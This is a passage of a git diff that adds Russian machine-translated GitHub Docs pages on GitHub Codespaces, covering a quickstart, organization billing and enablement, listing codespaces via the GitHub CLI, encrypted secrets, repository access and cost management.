Marketplace можно получить непосредственно из редактора. В этом примере вы установите расширение {% data variables.product.prodname_vscode_shortname %}, которое изменяет тему, но вы можете установить любое расширение, полезное для вашего рабочего процесса. + +1. На боковой панели слева нажмите значок "Расширения". +1. В строке поиска введите `fairyfloss` и нажмите кнопку **Установить**. + + ![Добавление расширения](/assets/images/help/codespaces/add-extension.png) + +1. Выберите тему `fairyfloss`, выбрав ее из списка. + + ![Выбор темы fairyfloss](/assets/images/help/codespaces/fairyfloss.png) + +Если вы используете codespace в браузере или в классическом приложении {% data variables.product.prodname_vscode %} и у вас включена [синхронизация параметров](https://code.visualstudio.com/docs/editor/settings-sync) , все изменения, внесенные в настройку редактора в текущем codespace, такие как изменение темы или привязок клавиатуры, автоматически синхронизируются со любыми экземплярами {% data variables.product.prodname_vscode %}, которые входят в вашу учетную запись {% data variables.product.prodname_dotcom %} и другие создаваемые вами codespace. + +## Дальнейшие действия + +Вы успешно создали, персонализировали и запустили свое первое приложение в codespace, но еще многое нужно изучить! Ниже приведены некоторые полезные ресурсы для выполнения дальнейших действий с {% data variables.product.prodname_github_codespaces %}. + +* Подробное [руководство](/codespaces/getting-started/deep-dive). В этом кратком руководстве представлены некоторые функции {% data variables.product.prodname_github_codespaces %}. В глубоком обзоре эти области рассматриваются с технической точки зрения. +* "[Добавление конфигурации контейнера разработки в репозиторий](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)". В этих руководствах содержатся сведения о настройке репозитория для использования {% data variables.product.prodname_github_codespaces %} с определенными языками. +* "[Введение в контейнеры разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)".В этом руководстве содержатся сведения о создании пользовательской конфигурации для {% data variables.product.prodname_codespaces %} для проекта. + +## Дополнительные материалы + +* ["Включение {% data variables.product.prodname_github_codespaces %} для вашей организации](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)" +* [Использование {% data variables.product.prodname_github_codespaces %} в {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)" +* [Использование {% data variables.product.prodname_github_codespaces %} в интегрированной среде разработки JetBrains](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide) +* [Использование {% data variables.product.prodname_github_codespaces %} с {% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli)" +* "[Настройка редактора по умолчанию для {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces)". +* [Управление затратами на {% data variables.product.prodname_github_codespaces %} в организации](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization) diff --git a/translations/ru-RU/content/codespaces/guides.md b/translations/ru-RU/content/codespaces/guides.md new file mode 100644 index 000000000000..459ca1bc3fb8 --- /dev/null +++ b/translations/ru-RU/content/codespaces/guides.md @@ -0,0 +1,66 @@ +--- +title: Руководства по кодовым пространствам +shortTitle: Guides +intro: 'Узнайте, как эффективно использовать GitHub' +allowTitleToDifferFromFilename: true +layout: product-guides +versions: + fpt: '*' + ghec: '*' +includeGuides: + - /codespaces/getting-started/quickstart + - /codespaces/getting-started/deep-dive + - /codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces + - /codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces + - /codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces + - /codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces + - /codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines + - /codespaces/setting-up-your-project-for-codespaces/automatically-opening-files-in-the-codespaces-for-a-repository + - /codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge + - /codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers + - /codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account + - /codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository + - /codespaces/developing-in-codespaces/creating-a-codespace-from-a-template + - /codespaces/developing-in-codespaces/developing-in-a-codespace + - /codespaces/developing-in-codespaces/deleting-a-codespace + - /codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace + - /codespaces/developing-in-codespaces/opening-an-existing-codespace + - /codespaces/developing-in-codespaces/stopping-and-starting-a-codespace + - /codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code + - /codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide + - /codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli + - /codespaces/developing-in-codespaces/using-source-control-in-your-codespace + - /codespaces/developing-in-codespaces/using-codespaces-for-pull-requests + - /codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace + - /codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace + - /codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces + - /codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account + - /codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces + - /codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces + - /codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces + - /codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces + - /codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces + - /codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces + - /codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces + - /codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces + - /codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization + - /codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization + - /codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces + - /codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types + - /codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces.md + - /codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period + - /codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces + - /codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports + - /codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces + - /codespaces/codespaces-reference/understanding-billing-for-codespaces + - /codespaces/codespaces-reference/using-the-command-palette-in-codespaces + - /codespaces/codespaces-reference/disaster-recovery-for-codespaces + - /codespaces/codespaces-reference/security-in-codespaces +ms.openlocfilehash: e11e89910b01bc3656cfc2982f13d48f99ee72b6 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159192' +--- + diff --git a/translations/ru-RU/content/codespaces/index.md b/translations/ru-RU/content/codespaces/index.md new file mode 100644 index 000000000000..5fe748ef8a41 --- /dev/null +++ b/translations/ru-RU/content/codespaces/index.md @@ -0,0 +1,63 @@ +--- +title: Документация по кодовым пространствам GitHub +shortTitle: GitHub Codespaces +intro: 'Создайте codespace, чтобы начать разработку в безопасной, настраиваемой специально выделенной среде разработки, которая выполняет необходимые задачи в нужном месте.' +introLinks: + overview: /codespaces/overview + quickstart: /codespaces/getting-started/quickstart +featuredLinks: + guides: + - /codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization + - /codespaces/developing-in-codespaces/the-codespace-lifecycle + - /codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project + - /codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces + - /billing/managing-billing-for-github-codespaces/about-billing-for-codespaces + guideCards: + - /codespaces/getting-started/deep-dive + - /codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository + - /codespaces/developing-in-codespaces/creating-a-codespace-from-a-template + - /codespaces/developing-in-codespaces/opening-an-existing-codespace + - /codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account + - /codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code + - /codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide + popular: + - /codespaces/getting-started-with-codespaces/getting-started-with-your-nodejs-project-in-codespaces + - /codespaces/getting-started-with-codespaces/getting-started-with-your-python-project-in-codespaces + - /codespaces/getting-started-with-codespaces/getting-started-with-your-java-project-in-codespaces + - /codespaces/getting-started-with-codespaces/getting-started-with-your-dotnet-project + popularHeading: Set up your project +changelog: + label: codespaces +product_video: 'https://www.youtube-nocookie.com/embed/_W9B7qc9lVc' +communityRedirect: + name: Provide GitHub Feedback + href: 'https://github.com/orgs/community/discussions/categories/codespaces' +redirect_from: + - /github/developing-online-with-github-codespaces + - /github/developing-online-with-codespaces +layout: product-landing +examples_source: data/product-examples/codespaces/code-examples.yml +versions: + fpt: '*' + ghec: '*' +children: + - /overview + - /getting-started + - /developing-in-codespaces + - /setting-up-your-project-for-codespaces + - /customizing-your-codespace + - /prebuilding-your-codespaces + - /managing-your-codespaces + - /managing-codespaces-for-your-organization + - /codespaces-reference + - /troubleshooting + - /the-githubdev-web-based-editor + - /guides +ms.openlocfilehash: 62723c1d4bf684e67420149c96586a91e7583031 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160437' +--- + diff --git a/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization.md b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization.md new file mode 100644 index 000000000000..7ab028e6f440 --- /dev/null +++ b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization.md @@ -0,0 +1,82 @@ +--- +title: Включение GitHub Codespaces для организации +shortTitle: 'Enable {% data variables.product.prodname_codespaces %}' +intro: 'Вы можете самостоятельно определять, какие пользователи в вашей организации могут использовать {% data variables.product.prodname_github_codespaces %} за счет организации.' +permissions: 'To alter an organization''s billing settings, you must be an organization owner.' +redirect_from: + - /codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization + - /codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Billing + - Administrator +ms.openlocfilehash: 992d744e04ae00db4d760b59a9d08d1700846998 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158904' +--- +## Сведения о включении {% data variables.product.prodname_github_codespaces %} для организации + +Владельцы организации могут контролировать, какие пользователи в организации могут создавать и использовать codespace за счет организации. Сведения о ценах см. в разделе [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). + +Только пользователи, которые могут отправить изменения в репозиторий или создать вилку репозитория, могут создать пространство кода для этого репозитория. Чтобы пользователи могли создавать codespace для репозиториев, принадлежащих вашей организации, необходимо: + +- Убедитесь, что у пользователей есть разрешение как минимум на запись в отношении репозиториев, в которых они собираются использовать кодовое пространство. Дополнительные сведения см. в разделе [Управление командами и людьми, имеющими доступ к репозиторию](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository). +- Убедитесь, что в вашей организации нет списка разрешенных IP-адресов. Дополнительные сведения см. в разделе [«Управление разрешенными IP-адресами для организации](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization){% ifversion fpt %}» в документации по {% data variables.product.prodname_ghe_cloud %}. {% else %}. {% endif %} + +Чтобы пользователи могли создавать codespace, для которых будет выставляться счет вашей организации, необходимо: + +- [Установка предельной суммы расходов](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces) +- [Выбрать пользователей, которые могут создавать codespace, счета за использование которых выставляются вашей организации](#choose-who-can-create-codespaces-that-are-billed-to-your-organization) + +{% ifversion fpt %} {% note %} + +**Примечание:** Если вы являетесь проверенным преподавателем или преподавателем, необходимо включить {% data variables.product.prodname_github_codespaces %} из {% data variables.product.prodname_classroom %}, чтобы использовать ваше преимущество {% data variables.product.prodname_codespaces %} для образования. Дополнительные сведения см. в разделе [Использование {% data variables.product.prodname_github_codespaces %} с {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom#about-the-codespaces-education-benefit-for-verified-teachers). + +{% endnote %} {% endif %} + +По умолчанию кодовому пространству доступен только тот репозиторий, из которого оно было создано. Если вы хотите, чтобы codespace в вашей организации были доступны другие репозитории организации, доступные создателю codespace, см. статью [Управление доступом к репозиторию для codespace вашей организации](/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces). + +## Выберите пользователей, которые могут создавать codespace, счета за использование которых выставляются вашей организации + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.click-codespaces %} +1. В разделе "Выставление счетов" выберите один из следующих вариантов: + + * **Отключено** — с вашей организации не будет взиматься плата за использование codespace. Для {% data variables.product.prodname_codespaces %}, созданных для репозиториев вашей организации, будет выставлен счет отдельным пользователям, создавшим их. + * **Выбранным участникам** — {% data variables.product.prodname_codespaces %}, созданным для репозиториев вашей организации выбранными участниками, будут выставлены счета для организации. + * **Всем участникам** — {% data variables.product.prodname_codespaces %}, созданным для репозиториев вашей организации участниками вашей организации, будут выставлены счета для организации. + * **Всем участникам и внешним участникам совместной работы** — {% data variables.product.prodname_codespaces %}, созданным для репозиториев вашей организации участниками организации и внешними участниками совместной работы, будут выставлены счета для организации. + + ![Переключатели для раздела "Выставление счетов"](/assets/images/help/codespaces/codespaces-org-billing-settings.png) + + {% note %} + + **Примечание.** Если выбрать параметр **Всем участникам и внешним участникам совместной работы**, все внешние участники совместной работы, добавленные в определенные репозитории, смогут создавать и использовать {% data variables.product.prodname_codespaces %} для этих репозиториев, а вашей организации будут выставляться счета за их использование. Дополнительные сведения об управлении внешними участниками совместной работы см. в статье [Сведения о внешних участниках совместной работы](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization#about-outside-collaborators). + + {% endnote %} + +1. Выберите команду **Сохранить**. +1. Если выбрано **Выбранным участникам**, появится поле ввода, в которое можно ввести имена пользователей, которых вы хотите выбрать. + + ![Поле ввода для выбора пользователей](/assets/images/help/codespaces/codespaces-org-billing-add-users.png) + +## Отключение {% data variables.product.prodname_codespaces %} для вашей организации + +Вы можете предотвратить создание и использование codespace, за которые вашей организации выставляются счета. + +{% data reusables.codespaces.codespaces-disabling-org-billing %} + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.click-codespaces %} +1. В разделе "Выставление счетов" выберите **Отключено**. + +## Установка предельной суммы расходов + +{% data reusables.codespaces.codespaces-spending-limit-requirement %} + +Сведения об изменении предельной суммы расходов и управлении ею см. в статье [Управление предельной суммой расходов для {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces). diff --git a/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/index.md b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/index.md new file mode 100644 index 000000000000..70a4895aac70 --- /dev/null +++ b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/index.md @@ -0,0 +1,30 @@ +--- +title: Управление GitHub Codespaces для организации +allowTitleToDifferFromFilename: true +shortTitle: Managing your organization +intro: 'Вы можете управлять тем, как пользователи в вашей организации могут использовать {% data variables.product.prodname_github_codespaces %}.' +versions: + fpt: '*' + ghec: '*' +topics: + - Codespaces +children: + - /enabling-github-codespaces-for-your-organization + - /listing-the-codespaces-in-your-organization + - /managing-the-cost-of-github-codespaces-in-your-organization + - /managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces + - /managing-repository-access-for-your-organizations-codespaces + - /reviewing-your-organizations-audit-logs-for-github-codespaces + - /restricting-access-to-machine-types + - /restricting-the-base-image-for-codespaces + - /restricting-the-visibility-of-forwarded-ports + - /restricting-the-idle-timeout-period + - /restricting-the-retention-period-for-codespaces +ms.openlocfilehash: 7b8b9211a8bcafdcfb3fb2b037ea6362e8ecb27f +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158640' +--- + diff --git a/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization.md b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization.md new file mode 100644 index 000000000000..9cf4e78a153f --- /dev/null +++ b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization.md @@ -0,0 +1,58 @@ +--- +title: Перечисление сред codespace в организации +shortTitle: List organization codespaces +intro: Можно перечислить все активные на текущий момент или остановленные среды codespace для организации. +permissions: 'To list all of the current codespaces for your organization, you must be an organization owner.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Administrator +ms.openlocfilehash: e3d475560c76449ed20b70fbce29ef6273f788fc +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158632' +--- +## Обзор + +Как владелец организации, вы можете перечислить все активные на текущий момент и остановленные среды codespace для своей организации. Это поможет проверить, сколько codespace создают пользователи, чтобы убедиться, что дополнительные расходы не требуются. Сведения о ценах см. в разделе [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). + +Проще всего перечислить codespace для организации с помощью {% data variables.product.prodname_cli %}. Также можно воспользоваться REST API, который предоставит дополнительные сведения о каждой среде codespace. + +Сведения о том, как просмотреть общее общее использование {% data variables.product.prodname_codespaces %} для организации или предприятия и создать подробный отчет, см. в разделе [Просмотр использования {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage). + +### Перечисление сред codespace с помощью {% data variables.product.prodname_cli %} + +Чтобы перечислить все текущие среды codespace для конкретной организации, воспользуйтесь следующей командой: + +```shell{:copy} +gh codespace list --org ORGANIZATION +``` + +Она возвращает список, содержащий следующие сведения для каждой codespace: + - Имя и отображаемое имя + - Имя пользователя, создавшего codespace + - Репозиторий и ветвь + - Текущее состояние codespace + +Чтобы перечислить все текущие среды codespace для организации, созданные конкретным пользователем, воспользуйтесь следующей командой: + +```shell{:copy} +gh codespace list --org ORGANIZATION --user USER +``` + +{% note %} + +**Примечание.** Замените в вышеперечисленных командах `ORGANIZATION` на название организации, к которой вы совершаете запрос. Вы должны быть владельцем организации. + +{% endnote %} + +### Перечисление сред codespace с помощью REST API + +В качестве альтернативного метода перечисления текущих сред codespace для организации можно воспользоваться конечной точкой API `/orgs/{org}/codespaces`. С этим методом возвращается больше сведений, чем при использовании {% data variables.product.prodname_cli %}, например сведения о типе компьютера. + +Дополнительные сведения об этой конечной точке см. в статье "[Организации Codespaces](/rest/codespaces/organizations#list-codespaces-for-the-organization)". diff --git a/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces.md b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces.md new file mode 100644 index 000000000000..0970a92e12ec --- /dev/null +++ b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces.md @@ -0,0 +1,79 @@ +--- +title: Управление зашифрованными секретами для репозитория и организации в GitHub Codespaces +shortTitle: Encrypted secrets +intro: 'Зашифрованные секреты позволяют хранить конфиденциальную информацию в организации, репозитории или {% data variables.product.prodname_github_codespaces %}.' +permissions: 'To manage secrets for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner.' +versions: + fpt: '*' + ghec: '*' +topics: + - Codespaces + - Secret store + - Security +redirect_from: + - /codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces +ms.openlocfilehash: 817ed72e76ddd13846dd9db78f992a1c5dcda101 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158624' +--- +## Сведения о секретах + +Секреты — это зашифрованные переменные среды, которые вы создаете в организации или репозитории. Создаваемые секреты доступны для использования в {% data variables.product.prodname_github_codespaces %}. GitHub использует [запечатанный прямоугольник libsodium](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) для шифрования секретов перед тем, как они попадут в GitHub, и расшифровывает их только при использовании в кодовом пространстве. + +Секреты уровня организации позволяют использовать секреты сразу в нескольких репозиториях и не создавать повторяющиеся секреты. Для управления тем, какие репозитории могут использовать секреты организации, можно использовать политики доступа. + +{% data reusables.codespaces.secrets-on-start %} + +### Именование секретов + +{% data reusables.codespaces.secrets-naming %} Например, секрет, созданный на уровне репозитория, должен иметь уникальное имя в этом репозитории, а секрет, созданный на уровне организации, — уникальное имя на уровне организации. + + {% data reusables.codespaces.secret-precedence %} + +### Ограничения для секретов + +Максимальное количество хранимых секретов — 100 на организацию и 100 на репозиторий. + +Размер секретов ограничен 64 КБ. + +## Добавление секретов для репозитория + +Чтобы создавать секреты для репозитория организации, нужен доступ администратора. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.codespaces.sidebar-secret %} + +2. В верхней части страницы нажмите **Новый секрет репозитория**. +3. Введите имя секрета в поле ввода **Имя**. +4. Введите значение секрета. +5. Щелкните **Добавить секрет**. + +## Добавление секретов для организации + +При создании секрета в организации можно использовать политику, чтобы ограничить для репозиториев доступ к секрету. Например, можно предоставить доступ ко всем репозиториям или ограничить доступ только частными репозиториями или указанным списком репозиториев. + +{% data reusables.actions.permissions-statement-secrets-organization %} + +{% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.org_settings %} {% data reusables.codespaces.sidebar-secret %} + +2. В верхней части страницы нажмите **Новый секрет организации**. +3. Введите имя секрета в поле ввода **Имя**. +4. Введите **значение** для своего секрета. +5. В раскрывающемся списке **Доступ к репозиторию** выберите политику доступа. + ![Список доступа репозиториев с выбранными частными репозиториями](/assets/images/help/codespaces/secret-repository-access.png) +6. Щелкните **Добавить секрет**. + +## Проверка доступа к секретам на уровне организации + +Вы можете проверить, какие политики доступа применяются к секрету в вашей организации. + +{% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.org_settings %} {% data reusables.codespaces.sidebar-secret %} + +1. Список секретов включает все настроенные разрешения и политики. Например: ![список секретов](/assets/images/help/settings/actions-org-secrets-list.png) +1. Для получения дополнительных сведений о настроенных разрешениях для каждого секрета щелкните **Обновить**. + +## Дополнительные материалы + +- [Управление зашифрованными секретами для кодовых пространств](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces) diff --git a/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md new file mode 100644 index 000000000000..c5fac7caf6cf --- /dev/null +++ b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md @@ -0,0 +1,43 @@ +--- +title: Управление доступом к репозиторию для кодовых пространств организации +shortTitle: Repository access +intro: 'Вы можете управлять репозиториями в организации, к которым у {% data variables.product.prodname_github_codespaces %} есть доступ.' +permissions: 'To manage access and security for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Security + - Administrator +redirect_from: + - /codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces + - /github/developing-online-with-codespaces/managing-access-and-security-for-codespaces + - /codespaces/working-with-your-codespace/managing-access-and-security-for-codespaces +ms.openlocfilehash: 9fdec24104a61170977053195446db0b4cf0a62f +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160232' +--- +{% warning %} + +**Примечание об устаревании.** Описанные ниже параметры доступа и безопасности больше не рекомендуются и приводятся исключительно в ознакомительных целях. Чтобы включить расширенный доступ к другим репозиториям, добавьте запрошенные разрешения в файл конфигурации `devcontainer.json`. Дополнительные сведения см. в разделе [Управление доступом к другим репозиториям в кодовом пространстве](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces). + +{% endwarning %} + +По умолчанию кодовому пространству доступен только тот репозиторий, в котором оно было создано. При включении доступа и безопасности для репозитория, принадлежащего вашей организации, все кодовые пространства, созданные для этого репозитория, также получают разрешения на чтение в отношении всех остальных репозиториев, принадлежащих организации, а создатель кодового пространства — разрешения на доступ. Доступ к репозиториям для кодового пространства можно ограничить либо репозиторием, в котором было создано кодовое пространство, либо отдельными репозиториями. Включайте доступ и безопасность только для тех репозиториев, которым вы доверяете. + +Сведения о том, какие пользователи в организации могут использовать {% data variables.product.prodname_github_codespaces %}, см. в разделе [Включение {% data variables.product.prodname_github_codespaces %} для вашей организации](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#enable-codespaces-for-users-in-your-organization). + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.click-codespaces %} +1. В разделе "Доступ и безопасность" выберите параметр, подходящий для вашей организации. + ![Переключатели для управления доверенными репозиториями](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png) +1. Если вы выбрали "Выбранные репозитории", выберите раскрывающееся меню, а затем щелкните репозиторий, чтобы разрешить репозиториям codespace доступ к другим репозиториям, принадлежащим вашей организации. Повторите эти действия для всех репозиториев, кодовым пространствам которых необходимо предоставить доступ к другим репозиториям. + ![Раскрывающееся меню "Выбранные репозитории"](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png) + +## Дополнительные материалы + +- [Управление доступом к репозиторию для кодовых пространств](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces) diff --git a/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization.md b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization.md new file mode 100644 index 000000000000..1cd2315ae705 --- /dev/null +++ b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization.md @@ -0,0 +1,75 @@ +--- +title: Управление затратами на GitHub Codespaces в организации +shortTitle: Manage Codespaces costs +intro: 'Вы можете проверить потребление {% data variables.product.prodname_github_codespaces %} и задать ограничения использования.' +permissions: 'To manage billing for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner or a billing manager.' +versions: + fpt: '*' + ghec: '*' +type: reference +topics: + - Codespaces + - Billing +redirect_from: + - /codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization + - /codespaces/managing-codespaces-for-your-organization/managing-billing-for-github-codespaces-in-your-organization +ms.openlocfilehash: f11c6e22fa8a233fd4429b91390d25471ad17e6d +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158712' +--- +## Обзор + +Плата за использование вычислительных ресурсов и хранилища организации взимается за {% data variables.product.prodname_github_codespaces %}. В этой статье объясняется, как вы, как владелец организации, можете управлять этими затратами. + +Сведения о ценах на {% data variables.product.prodname_github_codespaces %} см. в разделе [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing). + +## Предельная сумма расходов + +Вы можете установить предельную сумму расходов для {% data variables.product.prodname_github_codespaces %} для вашей организации. Это ограничение применяется к общим затратам на вычислительные ресурсы и хранение для {% data variables.product.prodname_github_codespaces %}. Дополнительные сведения см. в разделе [Управление предельными суммами расходов для {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces). + +- **Использование вычислительных ресурсов:** Это общее время, в течение которого все экземпляры {% data variables.product.prodname_github_codespaces %} ("codespaces") были активны в течение месяца выставления счетов. + +- **Использование хранилища.** В целях выставления счетов за {% data variables.product.prodname_github_codespaces %} сюда входят все файлы, используемые всеми пространствами кода и предварительными сборками в вашей учетной записи. К ним относятся ресурсы, такие как клонированные репозитории, файлы конфигурации, расширения и т. д. + +Вы можете проверить использование вычислительных ресурсов и хранилища для {% data variables.product.prodname_github_codespaces %} за текущий месяц выставления счетов. Дополнительные сведения см. в разделе [Просмотр использования {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)". + +{% note %} + +**Примечание**. Предварительные сборки для {% data variables.product.prodname_github_codespaces %} создаются и обновляются с помощью {% data variables.product.prodname_actions %}. Это может повлечь за собой оплачиваемые расходы за {% data variables.product.prodname_actions %}. Вы можете задать предельную сумму расходов для {% data variables.product.prodname_actions %}. Дополнительные сведения см. в разделах [Сведения о выставлении счетов за {% data 